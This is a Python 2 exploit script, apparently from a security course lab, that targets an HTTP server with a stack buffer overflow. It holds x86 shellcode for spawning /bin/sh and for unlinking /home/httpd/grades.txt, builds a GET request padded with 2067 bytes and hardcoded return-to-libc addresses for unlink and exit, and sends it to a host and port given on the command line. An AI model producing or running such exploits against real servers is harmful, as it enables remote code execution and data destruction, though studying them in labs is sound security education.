#!/usr/bin/python
import sys
import socket
import traceback
####
shell = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"\
	    "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"\
	    "\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
unlink ="\xeb\x1e\x5e\x89\x76\x17\x31\xc0\x88\x46\x16\x89\x46\x1b\xb0\x0a"\
	"\x89\xf3\x31\xc9\x89\xca\x41\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"\
	"\xe8\xdd\xff\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x68\x74\x74\x70\x64"\
	"\x2f\x67\x72\x61\x64\x65\x73\x2e\x74\x78\x74\x00"
def build_exploit(shellcode):
 	#req =   "GET / HTTP/1.0\r\n"+"\r\n" 
    	#req = shellcode
	#ret = "\xf8\xed\xff\xbf"
	retunlink = "\xa0\x85\x1c\x40"
	retexit = "\x04\x72\x1a\x40"
	retpath = "\x39\xe5\x04\x08"
	path = "/home/httpd/grades.txt"
	url = ""
	#url += '\0'
	#for i in range(int(sys.argv[3])):
	for i in range(2067):
		url += "A"
	url += retunlink
	url += retexit
	url += retpath
	url += "?"
	url += path
	print len(url)
	#bsize = int(sys.argv[3])
	#for i in range(bsize/2 - len(shell)/2):
	#	url += chr(0x90)
	#url += shell
	#for i in range((bsize/2 - len(shell)/2)/4):
	#	url += ret
	#for i in range(bsize):
	#	if( i > 512):
	#		url += "b"
	#	else:
	#		url += "a"
	#print len(url)
	#	url += ret
	#for i in range(len(unlink)):
	#	url[i] = unlink[i]
	req = "GET /" + url + " HTTP/1.0\r\n\r\n"
	#req = "GET /\xdd HTTP/1.0\r\n\r\n"
	return req

####

def send_req(host, port, req):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("Connecting to %s:%d..." % (host, port))
    sock.connect((host, port))

    print("Connected, sending request...")
    sock.send(req)

    print("Request sent, waiting for reply...")
    rbuf = sock.recv(1024)
    resp = ""
    while len(rbuf):
	resp = resp + rbuf
	rbuf = sock.recv(1024)

    print("Received reply.")
    sock.close()
    return resp

####

#if len(sys.argv) != 3:
 #   print("Usage: " + sys.argv[0] + " host port bsize")
  #  exit()

try:
    shellfile = open("shellcode.bin", "r")
    shellcode = shellfile.read()
    req = build_exploit(shellcode)
    print("HTTP request:")
    print(req)

    resp = send_req(sys.argv[1], int(sys.argv[2]), req)
    print("HTTP response:")
    print(resp)
except:
    print("Exception:")
    print(traceback.format_exc())

